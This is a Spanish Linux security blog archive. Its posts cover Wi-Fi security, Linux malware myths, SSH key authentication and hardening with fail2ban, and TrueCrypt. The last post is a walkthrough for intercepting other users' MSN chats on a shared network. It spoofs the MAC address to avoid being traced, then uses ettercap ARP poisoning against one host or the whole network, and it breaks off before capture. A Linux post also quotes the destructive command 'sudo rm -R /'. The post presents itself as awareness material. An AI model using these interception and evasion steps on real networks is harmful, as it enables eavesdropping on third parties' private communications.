Mostrando entradas con la etiqueta Seguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta Seguridad. Mostrar todas las entradas

sábado, 2 de marzo de 2013

Seguridad de redes Wi-Fi

Seguridad

de

redes Wi-Fi





eseketedigo

INDICE:


1. Introducción:
    1. Descargo de responsabilidad.
    2. ¿Que es Wi-Fi?.
    3. ¿Que es MAC?.

2. Problemas de seguridad en las redes Wi-Fi:
    1. Introducción.
    2. Requisitos para comprobar la seguridad.
    3. Suite Aircrack-ng.
    4. Otras herramientas.
  
3. Medidas de seguridad:
    1. Acceder a tu router.
    2. Crear contraseñas seguras.
    3. Cambiar nombre a la SSID y ocultarlo.
    4. Crear lista blanca de direcciones MAC.
    5. Cambiar user y pass del administrador del hotspot.
    6. Monitorear el trafico de la red (Sniffer).

4. Ejemplos:
    1. Clave WEP.
    2. Clave WPA2.
    3. WireShark.



Bibliografia:

http://es.wikipedia.org/wiki/Wi-Fi
http://lastbit.com/pswcalc.asp
http://www.backtrack-linux.org/
http://www.seguridadwireless.es/
http://www.elhacker.net/


Para descargar el manual pueden hacerlo en este enlace:
Descargar Versión en pdf


domingo, 29 de julio de 2012

Virus en Linux y confusiones varias...

Hola a todos,

Existe mucha palabrería en internet en la que dicen como hacer virus para Linux, o dicen que hacen falta antivirus para Linux....

Hay blogs en la que incluso ponen como crear "Virus" para Linux.

Hoy quiero dejar muy claro como funciona el sistema para que comprendamos y podamos rebatir algunas idioteces de lamers.

Linux, está formado por una estructura de ficheros todos ellos controlados y marcados con permisos para el dueño, para grupos de usuarios y para el resto de usuarios.

Esto es, que un archivo del sistema, no tiene los mismos permisos ni el mismo dueño que uno de un usuario cualquiera.

Para comprender un poco más, sobre permisos y datos básicos de los sistemas Linux, deberían visitar este enlace:

Conocer lo mínimo sobre Ubuntu

Hay gente que está empeñada en decir que hacer virus para Linux es muy sencillo.
Para empezar, no es tan sencillo, y además, eso que ellos llaman virus no son más que "feutures" (configuración o característica que agregamos a algo.)

Es que hay gente que dice que hacer un virus es tan fácil como eliminar o modificar un lanzador para que haga algo malicioso.
Para que haga algo malicioso primero tienes que llegar a modificar ese archivo, y segundo te pedirá credenciales para poder hacer daño y no podrá hacer nada más si no le das esas credenciales.... (Le darías credenciales si te pide la pass y se la das como si nada)

Este es el gran problema de los nuevos usuarios de Linux, que están acostumbrados a siguiente, siguiente, siguiente.... y eso es peligroso.

Por regla general, ningún programa de uso cotidiano de vuestro sistema os pedirá la clave de usuario para hacer su cometido, si lo hiciese es porque dicho programa quiere acceder al sistema para hacer modificaciones o comprobaciones.

Vamos! que no sería lógico que al abrir la calculadora os pidiese pass...

El fallo aquí sería poner la pass, puesto que lo más normal en este caso sería que el código de el programa de la calculadora esté alterado mal intencionadamente por terceros para acceder al sistema.

En realidad aquí el problema lo genera el usuario, por dar la clave sin estar seguros de por qué un programa la pide.



Para prevenir estos problemas hay una series de reglas básicas que tenemos que tener en cuenta a la hora de usar un sistema Linux.

  • Usar siempre los repositorios oficiales para descargar programas.
  • Evitar descargar, compilar, e instalar programas de dudosa procedencia.
  • Usar la lógia, no es normal que un programa pida clave, a no ser que estés haciendo algo administrativo.
  • Nunca, jamás, permanecer en modo root durante la sesión con la excusa de no tener que meter la clave o modificar el archivo sudoers para evadirla.
  • Nada de siguiente, siguiente, siguiente.....
  • No modificar la estructura de ficheros del sistema o sus permisos si no sabes lo que haces.
  • Nada de copy-paste sin conocer que es lo estás haciendo, a veces alguien te da un código de buena fe o lo copias de un blog como este, pero si hay error en un comando te puedes quedar con un sistema inestable o sin él, perder datos valiosos y comprometer tu privacidad.

Esto son cosas que si o sí tenemos que contemplar.
Para cualquier duda siempre está la comunidad de usuarios, donde todos compartimos nuestras experiencias y soluciones a problemas con nuestros sistemas.

Con todo esto, no quiero decir que no haya mecanismos para comprometer la seguridad del sistema, seguramente se podrá, pero no llamemos virus a tonterías como cambiar un enlace a un programa y añadir: sudo rm -R /

Un saludo y ser cautelosos.

lunes, 2 de abril de 2012

SSH sin contraseña y de forma segura usando pareja de claves RSA

Hola a todos de nuevo, hoy voy a explicar de forma muy muy clara como funcionan las claves pública y privada. Ya verán como lo entienden.

Todos sabemos que ssh es un protocolo muy seguro, ya que todo la información que circula por la conexión entre cliente y servidor está encriptada.

Cuando hacemos una conexión a un servidor ssh lo hacemos así:

ssh usuario@direcion.ip.com

El servidor y el cliente ssh negocian el protocolo ssh que se usará (por seguridad debe ser la versión 2)
Y después generan un acuerdo de cifrado para el canal, de manera que ya todo lo que circule por él, esté cifrado.
La conexión continua..

Una vez abierto un canal seguro, el servidor nos pedirá contraseña para acceder y tras introducirla el servidor la comprobará.
Si la clave es correcta obtendremos acceso al servidor ssh.

Aquí se presentan dos inconvenientes.

1.- El password, aunque encriptado, viaja por la red cada vez que nos conectamos y esto puede ser peligroso si alguien estuviese capturando (snifando) datos de nuestra red y fuese capaz de generar fuerza bruta contra nuestros datos para sacar el pass.

2.- Tener que meter una y otra vez la clave cuando iniciamos sesión es 'cansino' y además, si tenemos 20 servidores y los que acceder.... Tenemos que tener 20 claves diferentes, ya que si usamos una sola para todo compromete la seguridad de los 20 pcs si perdemos la clave o alguien nos la roba.

Para todo esto hay una solución, usar un par de claves RSA.




Explicación sobre pareja de claves RSA

¿Que es RSA?
RSA es un sistema de encriptado que usa un algoritmo imposible de solucionar a día de hoy. Se creé que con la llegada de sistemas cuánticos y su rapidez se puedan llegar a solucionar.

¿Por qué una pareja?
Esto mucha gente no lo entiende, y lo voy a explicar muy claro.

Es una pareja de claves porque se crean a pares y de forma que una no sirve sin la otra, una clave es privada y la otra pública.

Clave privada:
Se usa para desencriptar y es la que debe estar solo presente en la máquina cliente y protegerla.

Clave  pública:
Se usa para encriptar y se puede repartir sin miedo a tus amigos.
Esta clave solo encripta y no puede usarse para desencriptar ni lo que se haya encriptado con ella.
Solo la clave privada asociada a ella puede desencriptar lo que se haya encriptado con la clave pública.


¿Y como funciona?
El proceso es el mismo pero con una diferencia...

ssh usuario@direcion.ip.com


El servidor y el cliente ssh negocian el protocolo ssh que se usará (por seguridad debe ser la versión 2)
Y después generan un acuerdo de cifrado para el canal, de manera que ya todo lo que circule por él, esté cifrado.

La conexión continua..
Hasta aquí todo igual, pero ahora comienza la diferencia.....:

El cliente decide usar RSA para identificarse, así que le manda al servidor información sobre su clave pública..

El servidor busca en su base da datos en busca de la clave pública del cliente, cuando la encuentra le manda un desafío, si si, como lo oyes. El servidor manda un paquete llamado (challenge) que contiene un número aleatorio cifrado con la clave pública del cliente.

El cliente recibe el paquete encriptado y usa la clave privada para desencriptar el mensaje, una vez desencriptado se lo devuelve al server... y le dice "¡Eh mira, lo he averiguado, así que soy yo!".

El servidor comprueba que el número devuelto es igual que el que mandó encriptado y por tanto el usuario es el que dice ser, ya que ninguna otra persona puede desencriptar el paquete sin no tiene la clave privada asociada a la pública. Así que se permite la sesión.

Yo creo que explicado así se entiende a la perfección.

¿Os habéis fijado que en ningún momento se mandan claves por la red?
Ahora podrías dar a todos tus amigos tu cláve pública y así poder entrar en sus sistemas sin pedir contraseña ni tener que usar una contraseña para cada sitio.

Como podréis imaginar, si alguien os copia la clave privada de vuestro ordenador, podrá acceder a cualquier sistema en el que estén la clave pública..... que peligro ¿no?
Tranquilos, generaremos una clave RSA que esté encriptada con clave, de manera que si alguien os la quita se quedará con la cara partida porque hace falta una clave para poder usarla... jejeje.



Preparación del Servidor para permitir autenticación por RSA

Accedemos a nuestro servidor:

ssh usuario@servidor.com

Tendremos que meter la clave como siempre.

Una vez dentro tendremos que editar el archivo /etc/ssh/sshd_config

sudo nano /etc/ssh/sshd_config

Buscamos las siguientes líneas y nos aseguramos de que estén así:
PubkeyAuthentication yes
AuthorizedKeysFile      %h/.ssh/authorized_keys

La primara opción permite el uso de clave pública para que un cliente se identifique.
La segunda especifíca donde se guarda la relación de claves públicas autorizadas.

Una vez modificado lo que sea necesario presionamos Ctrl+o para guardar, presionamos "enter" para confirmar y luego Ctrl+x para salir.

Comprobamos que existe la carpeta .ssh dentro del directorio home, el cual debe de contener el archivo authorized_keys

ls -al  ~

Si no existe lo crearemos

mkdir ~/.ssh
touch ~/.ssh/authorized_keys

En ese archivo se guardan las claves públicas de los clientes autorizados.

Necesitamos reiniciar el demonio ssh y normalmente eso no supone una caida del cliente que está conectado a ssh... así que:

sudo service ssh restart

Ahora ya podemos salir del ssh:

exit

Configuración del Cliente para usar RSA
El cliente de la versión actual de ssh está configurado para usar en primera instancia automáticamente una privada RSA para identificarse, así que solo tenemos que crearla.




Creación de parejas de claves

Ahora llega el momento de crear nuestra pareja de claves, es importante comprender que podemos crear la pareja de claves en cualquier pc y llevarlas a donde queramos.... pero en este caso las crearemos en el cliente.

Primero comprobamos que existe la carpeta .ssh dentro del directorio home, el cual es necesario ya que es ahí donde se generarán la pareja de claves.

ls -al  ~

Si no existe lo crearemos

mkdir ~/.ssh

Ahora generamos la pareja de claves RSA

ssh-keygen -t rsa

Nota: ssh-keygen genera por defecto claves RSA pero por si las moscas lo hemos especificado.

Creará una clave de 1028 Bits, muy segura, aunque se pueden crear mayores claves con menor rendimiento... claro está.

Tras ejecutar el comando nos preguntará donde generar la clave, le dejamos la ruta por defecto ~/.ssh/id_rsa

Seguidamente nos pedirá una clave de paso, yo uso la misma que para mi sesión, pero podéis usar cualquier clave que sea segura, que contenga numeros, símbolos y letras en minúscula y mayúscula.

Una vez terminado tendréis una clave privada (id_rsa) y otra pública (ud_rsa.pub) en el directorio .ssh de vuestra carpeta personal.

Ahora moveremos la llave pública al servidor usando scp, que pertenese al paquete de ssh y permite copiar contenido usando ssh de forma segura:

scp ~/.ssh/id_rsa.pub usuario@servidor.com:/tmp/

Y metemos la clave para mandar la llave pública a la carpeta temporal del server.


Añadiendo la clave pública al servidor ssh


Tras copiar la clave pública en el server hay que añadirlo al archivo authorized_keys

Accedemos al servidor ssh:

ssh usuario@servidor.com

Y ejecutamos:
cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keys

Listo, ya podemos salir del server y al entrar no usaremos clave para iniciar sesión, y ojo, sigue leyendo.

exit

Usar ssh-agent para evitar la frase de paso

Si ya has intentado acceder pos ssh para probar la conexión te habrás percatado de que te pide contraseña.... ehhh! jeje para para, no me llames mentirosooooo jejee

Dije que no te pediría clave para iniciar sesión, y de hecho, no lo hace, lo que pasa es que tu clave privada está cifrada ¿Recuerdas que al crearla pusiste una clave para protegerla?

Usaremos ssh-agent, que se instala automáticamente al instalar ssh y que se ejecuta al inicio de cada sesión de manera automática.

Usaremos ssh-add para añadir la clave a ssh-agent de manera que esté vinculada a la sesión y no te pida más la pass para desencriptar la clave privada.... ya se encargará ssh de pedírsela a ssh-agent.

ssh-add ~/.ssh/id_rsa

Eso nos pedirá la frase de paso que usamos para crearla, y la añadirá a la base de datos.

Prueba ahora y verás...

Ya puedes usar tu clave privada sin temor, y compartir la pública para poder acceder a otros servidores o pc's sin tener que memorizar gran cantidad de claves.

Nota: Tras reiniciar o cerrar la sesión actual en tu sistema linux, se te volverá a pedir la clave de paso, pero puedes hacer que no te la vuelva a pedir pinchando en la opción "Desbloquear al iniciar sesión" .... o algo así XD

Bien, para terminar os recomiendo que impidáis el acceso mediante clave al server ssh.

¿Para qué?
Pues para evitar ataque de fuerza bruta y que intenten sacar el pass.

Accedemos a nuestro servidor:

ssh usuario@servidor.com

Ya no tendrémos que meter la clave como siempre, y se accederá por RSA automáticamente. XD

Una vez dentro tendremos que editar nuevamente el archivo /etc/ssh/sshd_config

sudo nano /etc/ssh/sshd_config

Buscamos las siguientes líneas y nos aseguramos de que estén así:
#PasswordAuthentication yes

Y la dejamos así:

PasswordAuthentication no 

Ahora reinicias el servicio ssh
 
sudo service ssh restartListo, ya no os pedirá contraseña normal y exigirá identificación por RSA.
Un saludo y espero que os sirva.

miércoles, 7 de marzo de 2012

TrueCrypt

Hola muy buenas. Vengo a este blog con un manual básico de TrueCrypt un programa multiplataforma (win, linux, mac..) y opensource (aunque algunas distros lo consideran "non free" p.ej: Fedora) que sirve para encriptar archivos, particiones e incluso todo el disco duro (version de windows).

Para comenzar lo primero que deberíamos hacer es descargar la versión/es que vallamos a usar preferiblemente de la pagina web oficial:



Ahora procedemos a realizar la instalación del programa. Como observaran en la imagen de arriba me baje la versión para Linux 64bits y el tutorial esta basado en Ubuntu 10.04 LTS, pero no hay gran diferencia a la instalación y el uso en otros sistemas operativos.
Primero descomprimimos donde nos guste y después damos permisos de ejecución al archivo descomprimido. Una vez hecho esto clicamos el archivo y tipeamos la opción de ejecutar en un terminal.



Empecemos con el proceso de instalación. Es importante leer la licencia porque por este motivo es por lo que lo consideran algunas distribuciones Linux como software "non free". Fedora anuncio que el uso del software puede acarrear acciones legales contra los usuarios, debido a una mala licencia.
Mas información sobre el tema:
http://www.truecrypt.org/faq
http://www.kriptopolis.org/node/7237



Muy bien, ya tenemos instalado TrueCrypt en nuestro sistema. Vamos a abrirlo y a empezar a familiarizarnos con el.

Empecemos a crear un archivo encriptado para tener nuestros datos susceptibles a salvo. Para ello clicamos en la opción "Create Volume".



La opción de arriba es para crear un archivo encriptado que guardara nuestra información valiosa dentro de el. Se puede usar uno existente pero perderemos toda su información, por eso yo opte por crear un archivo vacío para hacerlo. La opción de abajo es para cifrar una partición o un volumen externo. La particion debe de existir previamente (puedes usar gparted). Eligimos una opcion, en mi caso la primera y pulsamos "Next".


Pasamos a esta pantalla en la que podemos elegir si sera un archivo/partición normal u oculto. Yo seleccionare la primera opción porque no me convenció el concepto de "oculto" que tienen, ya que la partición se ve, solo que esta inaccesible.



Clicamos en "Next" y vamos a esta pantalla. Aquí seleccionaremos el archivo que queremos encriptar (yo previamente cree un archivo vacío nuevo) y damos a "Next".



Ahora podemos elegir el tipo de encriptacion que deseamos y chequear su velocidad. En la opción "Benchmark" se puede hacer una comparativa con todos los tipos de algoritmos para comprobar cual es el que mas se ajusta a sus necesidades de seguridad. También podemos designar el algoritmo del hash.



Después de pulsar en "Next" nos aparece esta pantalla en la que podemos elegir el tamaño que deseamos para nuestro archivo oculto. Una vez establecido el valor deseado clicamos de nuevo "Next".



Ahora vamos con un paso importante, es el momento de establecer la contraseña. Alternativamente se puede usar un "keyfile" es decir un archivo contraseña, esto tiene tanto pros como contras, ya que si modificas el archivo pierdes la contraseña (contra), pero también puedes usar un "keyfile" alojado en internet y de este modo el archivo no estaría en tu equipo pero seria fácilmente recuperable.



Si introducen una contraseña corta les saltara esta advertencia. Pueden ignorarla o también pueden cambiar su contraseña por una mas larga. La ignorare porque considero que una contraseña de 12-15 caracteres es lo suficientemente fuerte para un ataque por fuerza bruta.



Ahora pasamos a elegir en que formato se guardaran nuestro archivos encriptados. Elegimos y "Next"



En esta pantalla seleccionamos "Format" y ya estaría creado.





El programa entra en blucle y empieza desde el principio otra vez. Pulsamos "Exit".



Para montar un archivo/volumen encriptado vamos a la pantalla principal del programa y seleccionamos un slot.



Pulsamos la opción de "Select File" ("Select Device" en el caso de particiones) y damos a "Mount".



Nos pedira la contraseña del archivo/volumen encriptado. La introducimos, o un "keyfile" si es el caso.



Nos pedirá privilegios de admin (en Ubuntu 10.04 LTS). Introducimos nuestro pass.



Y ya tenemos montado y accesible nuestro archivo/volumen encriptado. Ahora podemos empezar a almacenar en el toda nuestra información de una manera mucho mas segura.



Espero que les sirva. Un saludo eseketedigo.

jueves, 8 de septiembre de 2011

Accede a tu pc desde internet de forma segura con SSH

En este tutorial, voy a explicar como instalar openssh-server para poder conectarnos a nuestro pc desde una LAN o desde internet.

También lo configuraremos de manera que sea más seguro y añadiremos extras de seguridad.


Instalación y configuración de ssh

Para empezar, vamos  a instalar openssh-server

Abrimos una terminal y :

scorpyo@pc:~$ sudo apt-get install openssh-server

Como el programa una vez instalado, se ejecuta, pues lo vamos a parar... para que no esté andando.

scorpyo@pc:~$ sudo service ssh stop

Ahora, vamos a modificar los parámetros de ssh para que sea más seguro.

El archivo que configura ssh está en /etc/ssh/sshd_config, así que en la misma terminal ponemos:

scorpyo@pc:~$ sudo nano /etc/ssh/sshd_config

*Yo he usado nano, pero podeis usar gedit si preferís así:

scorpyo@pc:~$ gksu gedit /etc/ssh/sshd_config

Bien, ahora las opciones que tenemos que cambiar o añadir si no están son estas:

-Cambiar el puerto:
Por defecto, ssh usa el puerto 22, pero a nosotros no nos interesa eso, ya que es algo que cualquiera sabe, nos interesa poner otro puerto, ejemplo.... 4428, entonces tenemos que cambiar el parametro Port.
Quedaría así:
Port 4428

-Cambiar o añadir osuarios permitidos:
Por defecto, si tienes solo un usuario no hace falta, pero si tienes varios usuarios en tu pc, y quieres decidir quien pueden entrar por ssh a su cuenta desde el exterior, puedes ponerlo en el siguiente apartado, será entonces cuando solo se puedan conectar los usuarios que pongas ahí:

AllowUsers scorpyo

-Disminuir el tiempo de cortesía para logearse:
Por defecto suele venir en 120... pero eso es demasiado tiempo, si te sabes la contraseña, por muy larga que sea no tardas más de 8 segundos en colocarla, así que quien tarde más de 30 segundos es que no la sabe... lo pondremos en 30 segundos y mucho es.

LoginGraceTime
30

-No permitir login de root
Es importante, que nadie pueda acceder como root al sistema, y si queremos hacer tareas administrativas siempre podremos usar sudo.

PermitRootLogin no

-Maximos intentos de loguin erroneos hasta cerrar sesión:
Por si alguien está intentando averiguar la contraseña, esto le incordiará bastante, ya que lo que hacemos es cerrar la conexión tras un limites de intentos, en el ejemplo he puesto 2.

MaxAuthTries 2

(esto no evita que vuelca a conectar y reintentar otras claves)

Bueno, con esto ya tenemos lista nuestra configuración de ssh.
Guardamos y cerramos Gedit.
Si estamos editando con nano apretamos Ctrl+o para guardar, le damos enter para confirmar y salimos con Ctrl+x


Otras medidas de seguridad

Ahora, vamos a tomar otras medidas de seguridad.

Hay que tener en cuenta algo primordial, aquí estamos usando la clave del usuario para iniciar sesión por ssh, es decir, si tu clave de usuario es "pepe", vamos por muy mal camino, es una clave super facil.

Así que unos consejos:

-No usar claves que puedan encontrarse en un diccionario, tales como... silla, calabaza, hermano, perro.... ni nombres propios... ni fechas de nacimiento.

-Usad siempre palabras inventadas como PerricopterO14?Alf
Anda, ¡que averigüen eso!... jajaja

Así, que si creéis que buestra contraseña no es segura, cambiadla.

Lo mejor es crear un par de claves RSA o RDA de manera que no haya claves viajando por la conexión, aunque sea SSH se corren riesgos...
Más adelante crearé un tutorial para crear una pareja de claves RSA y dejar de usar el login tradicional y pondré un enlace aquí.


Sigamos...

Todos sabemos que mediante fuerza bruta se pueden sacar claves aunque sean difíciles como la de arriba... puede llevar horas, semanas o meses, pero eso, al que está atacando le da igual.

Pues nosotros vamos a ponérselo más difícil aún... vamos a Banear (impedir conexión) a todos los que hagan cierta cantidad de intentos de acceso con claves erróneas.

Para eso necesitamos instalar fail2ban, así que en la misma terminal ponemos:

scorpyo@pc:~$ sudo apt-get install fail2ban

Ahora lo vamos a configurar para que sea un poco más duro en su trabajo... Va a pegar guantazos y todo... jajaja

Igual que antes vamos a editar con nano o gedit el archivo /etc/fail2ban/jail.conf así que....

scorpyo@pc:~$ sudo nano /etc/fail2ban/jail.conf

Tenemos que ir hasta el apartado [ssh] y veremos los situientes parámetros:

[ssh]

enabled = true
port   = ssh
filter  = sshd
logpath  = /var/log/auth.log
maxretry = 6


Pues bien, hay que hacer cambios... nos aseguraremos de que el valor de enabled está en true ya que si etá en false significa que no controlará las conexiones ssh.

port (puerto a controlar)
El puerto está establecido como el que usa por defecto ssh, que es el 22 pero nosotros lo cambiamos para más seguridad, así que hay que especificarlo, el nuestro era el 4428

port = 4428

maxretry (intentos de conexión antes de banear)
Aquí pondremos el numero de veces que una determinada IP puede intentar hacer login de forma errónea...
Si supera ese límite el programa fail2ban impedirá la conexión de esa ip durante un tiempo establecido por defecto en 10 minutos.

maxretry = 4


Quedaría algo así:

[ssh]

enabled = true
port    = 4428
filter  = sshd
logpath  = /var/log/auth.log
maxretry = 4

Ok, ya tenemos configurado la mayor parte, pero como soy muy malo, a mi, 10 minutos de baneo me parecen muy pocos... ya que como tiene 4 intentos por cada 10 minutos, significa que tiene 20 intentos por hora y 480 por día.. me parece una burrada... así, que vamos a complicarlo..

Buscamos el apartado Defaults que está casi arriba y buscamos la opción bantime.

Esta opción es el tiempo de baneo en segundos... así que en vez de 600 que són 10 minutos, le pondremos algo más, yo le pongo 1680 segundos que son 28 minutos.

bantime 1680

Esto, reduce considerablemente el uso de ataques a nuestro pc.

Ya, creo que hemos terminado con la seguridad, ahora, guardamos todo.
Apretamos Ctrl+o para guardar, le damos enter para confirmar y salimos con Ctrl+x

Bien, ahora relanzamos el programa fail2ban para que tome las nuevas opciones

scorpyo@pc:~$ sudo service fail2ban restart

Y también lanzamos de nuevo ssh que lo paramos anteriormente

scorpyo@pc:~$ sudo service ssh start


Cortafuegos y routers

Ahora tenemos que configurar nuestro cortafuegos para que permita las conexiones entrantes al puerto 4428 que es el que hemos puesto.

Si estámos tras un router tendrá también su propio cortafuegos, así que tendremos que añadir este puerto y redirigirlos hacia nuestro pc... para eso no voy a hacer un tutorial, pero has de tener una ip fija o asegurarte de que el router siempre asigna el puerto 2248 a tu pc mediante mac o como sea.
Hay muchos tutoriales en internet.


Probando nuestra conexión desde el exterior o desde LAN

Pues listo, ya podemos conectarnos desde otro pc al nuestro de la siguiente forma:

Por ejemplo, mi ip (la del exterior, es decir, con la que salimos a internet) es la 83.168.154.124 y mi usuario en la máquina en la que quiero conectarme es scorpyo, pues haré lo siguiente:

scorpyo@pc:~$ ssh -p 4428 scorpyo@83.168.154.124

-p es para especificar el puerto, ya que nosotros lo hemos cambiado, si no lo ponemos  el comando ssh usaría por defecto el 22 y no podríamos conectarnos.

La IP es facil averiguarla si queréis acceder desde la misma red local, por ejemplo tipeando en una terminal:

scorpyo@pc:~$ nm-tool | grep Address
  HW Address:        70:F1:A1:16:BE:3E
    Address:         192.168.0.106
  HW Address:        70:5A:B6:80:72:EA
Ahí la tenéis... la 192.168.0.106 (siempre tengo la misma dentro de la red local)

Si queréis acceder desde internet podéis averiguar vuestra ip de muchas maneras, hay páginas en internet que os la dicen, también sale en el router... etc.

Como la mayoría de las ip's que nos asignan los proveedores de internet, son ips dinámicas, (esto significa que no siempre es la misma) pues eso añade el problema de que tenemos que estar constantemente averiguando la ip del pc, y si estamos fuera de casa, pues es un problemón.

Para eso, os podeis hacer una cuenta en http://dyn.com/dns/ o en http://www.no-ip.com/
Añadís los datos al router (no todos los routers soportan esta opción) y de esta manera, podríais tener un dominio tipo mimakina-remota.dyndns.org o mimakina-remota.no-ip.com y esta siempre os redirigiría hacia la ip actual que tengas.

Así yo me conectaría por ejemplo de esta manera:


scorpyo@pc:~$ ssh -p 4428 scorpyo@la-pcera.dyndns.org

Listo, ahora mismo eso es todo, y es lo mínimo que debéis de hacer para tener un servicio ssh mínimamente seguro.

Lo mejor es no tener activo ssh cuando no se necesite o cerrar el puerto en el cortafuegos.

Una forma de incrementar notablemente la seguridad es creando una pareja de claves RSA:
Tutorial y explicación sobre parejas de claves RSA

lunes, 22 de noviembre de 2010

Capturar las conversaciones de msn de otros en tu misma red

Hola de nuevo, quiero hacer este tutorial, para que veáis lo vulnerable que podéis llegar a ser cuando usamos un programa de mensajería instantánea como lo es MSN y sus clones para Linux y de más plataformas.

Aviso: Nada de lo que aquí expongo está pensado para que robéis información de terceros, si no para que veáis como se hace y así vosotros mismos lo probéis en vuestra red y os concienciéis para que toméis las medidas de seguridad oportunas.

Muchos de vosotros creéis que por el hecho de tener una clave en el router y un cortafuegos, antivirus y demás herramientas estáis protegidos..., pues, no tiene por que ser así. Tu lo estarás haciendo bien, si , jejeje pero msn tiene un problema, que cuando tu mandas información al darle a "enviar", esta información viaja en "texto plano", es decir, viaja sin más encriptación que la que tenga la red, y si la encripatación de esta es débil... pues ya tenemos un problema preocupante.

Si usas wifi, es relativamente fácil hallar esa información.
Si usas cable es casi el mismo procedimiento solo que limita el acceso.

Imaginemos que alguien consigue entrar en una red mediante BackTrack (ya haré un tutorial de como hacerlo) y una vez dentro, en vez de gorronearnos internet, no se le ocurre otra cosa al prenda que capturar los datos de la red....
¿Es posible eso? la respuesta es Sí.

Veamos, las tarjetas de red suelen mandar información al router y viceversa... esa información viaja por la red con una identificación sobre a que dirección ip esta dedicado el paquete, a que puerto, etc..
Las tarjetas están escuchando toda esa información siempre, solo que ignoran los paquetes que son mandados a otros equipos.
Para evitar eso, se puede poner nuestra tarjeta en modo Promiscuo, con lo cual, ya no ignoraría esos paquetes.
Otra forma es colocar nuestra tarjeta en modo monitor y capturar todos los datos que viajan por la red (incluso sin estar conectados a ella), tanto encriptados como no. Luego, con un programa como por ejemplo wireshark y tcpxtract, separamos los datos y podríamos ver, hasta las fotos, vídeos y demás que hayan circulado por la red en el momento de la captura.

Etc...

Yo solo hago este tutorial para haceros una demostración a modo de que veáis que no es tan difícil que seáis víctimas de estas técnicas y así, fortalezcáis vuestra red con claves tipo wpa2 y encriptación TKIP.

Nosotros usaremos el envenenamiento ARP, más abajo explico lo que es, así que
manos a la obra.

Necesitareis estos programas:

ettercap
dsniff
macchanger

ettercap, hará lo que puede hacer dsniff, que es envenenamiento ARP solo que con ettercap es mas fácil y más intuitivo, y dsniff lo usaremos porque tiene un paquete para escuchar los puertos de MSN.


Para instalarlos:
scorpyo@NASA:~$ sudo apt-get install ettercap dsniff macchanger


Ahora, desactivar el cortafuegos porque lo vamos a volver loco...

Supongamos que ya estais conectados a la red, pues mal hecho
jajaja
Antes de conectaros deberíais cambiar vuestra MAC (un identificador único de cada tarjeta) para que cuando quede registrada en el log del router, esta, no signifique nada y no se os pueda relacionar, aunque supuestamente es tu router ¿no?, yo os aconsejo que cambies la mac para que veáis, lo facilísimo que lo tiene cualquiera para hacerlo.

Para cambiar la mac actual a 00:11:22:33:44:55 en Linux basta con usar macchanger

scorpyo@NASA:~$ sudo ifconfig wlan0 down
scorpyo@NASA:~$ sudo macchanger -m 00:11:22:33:44:55 wlan0
[sudo] password for scorpyo:
Current MAC: 70:f1:12:18:c1:4e (unknown)
Faked MAC:   00:11:22:33:44:55 (Cimsys Inc)
scorpyo@NASA:~$ ifconfig wlan0 up

Donde yo he puesto wlan0 vosotros poner vuestra tarjeta, si no sabeis como las nombra vuestro sistema hacer  un ifconfig

scorpyo@NASA:~$ ifconfig

Bueno, hecho esto, ya podéis conectaros que lo haréis con una mac falsa :P

Nota: si usais el un administrador de red  como NetworkManager, este ignorará el cambio de mac, y usará tu verdadera mac, para evitar eso, hacer click derecho en el icono, le damos a editar las conexiones, elegimos la conexión que vamos a usar y le damos a Editar, y rellenamos el campo que pone Dirección MAC clonada, poniendo la mac que querais para que cuando se conecte a esa red, use esa MAC.

Para comprobar que está usando esa mac, una vez conectado a la red, ponéis en consola el siguiente comando:

scorpyo@pc-cito:~$ ifconfig wlan0

wlan0     Link encap:Ethernet  direcciónHW 10:1f:a1:6c:36:3a
          Direc. inet:83.230.169.140  Difus.:83.230.169.255  Másc:255.255.255.128
          Dirección inet6: fe80::72f1:a1ff:fe16:be3e/64 Alcance:Enlace
          ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:622339 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:314387 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:905556051 (905.5 MB)  TX bytes:15754742 (15.7 MB)
          Interrupción:17 Memoria:ffffc90011098000-ffffc90011098100


Bien...

Ahora, una vez dentro en la red, abrimos una terminal y ejecutamos:

scorpyo@NASA:~$ sudo ettercap -C -i wlan0

Donde wlan0 es el nombre de la tarjeta con la que os conectáis.

Os abrirá un programa llamado ettercap, usaremos este programa para esnifar la red y para envenenar las tablas ARP de toda la peña que está en la red.

Digamos, que el envenenamiento ARP consiste en decirle al router que yo soy fulano, y a fulano, que yo soy el router, entonces, con eso conseguimos que toda la información que se manden entre ellos pase primero por nosotros, pudiendo así ver la información, manipularla etc... y luego la redirigimos al que le pertenece, y fulano, solo notará un pequeño retraso, (el tiempo en el que la URL que solicitó estuvo en nuestro equipo hasta que se le devolvió).

Nos centraremos solo en escuchar.

Bien, ahora hay que hacer lo siguiente:

Ahora que está abierto ettercap vamos a “Sniff” y elegimos “Unified sniffing... U”

Aquí, debería de salir nuestra tarjeta ya introducida, en mi caso, wlan0 pero si no es correcta porque nos equivocamos al escribirlo, se puede cambiar directamente escribiendo y dándole al enter.


Ahora, lo que haremos es escanear los host, le damos a “Host” y a “Scan for hots” o lo que es lo mismo (Ctrl+s), una vez hecho, volvemos a darle a “Host” y a “Host list” o (h) para ver la lista.

Llegado este punto, tenemos dos opciones, atacar toda la red, o solo a un equipo, si lo que queremos es atacar toda la red nos saltaremos este paso:

Primero selecciono el Host víctima y apretamos el número 1 de nuestro teclado, y luego el Router y apretamos el 2 y quedaría algo así:

Target1: Equipo1
Target2: Router

Nota: Normalmente el router es el que tiene una ip más baja, una muy común es la 192.168.1.1 o 192.168.0.1

Ahora, lo que haremos será ponerlo a Snifar dandole a “Start” y a “Start sniffing” y luego hacemos el ataque ARP Poison (Envenenamiento ARP) pinchamos en “Mitm” y a “ARP pisoning...” en la ventana que nos sale ponemos "remote" sin las comillas y le damos al enter


Bien, ya hemos envenenado todos los equipos seleccionados... ahora queda saber si están corriendo msn ¿no?

Eso es fácil de saber, puesto que msn usa el puerto 1864 y 1863 para comunicarse.
Solo tendremos que buscar ese puerto para saber si alguien está hablando por msn.

Para ver las conexiones que hay en el momento, aprieta Shif+c o ve a View, connections.

Se abrirá las conexiones activas, con información de cuantos datos se están emitiendo, para que equipo, desde cual equipo y hacia que puerto.
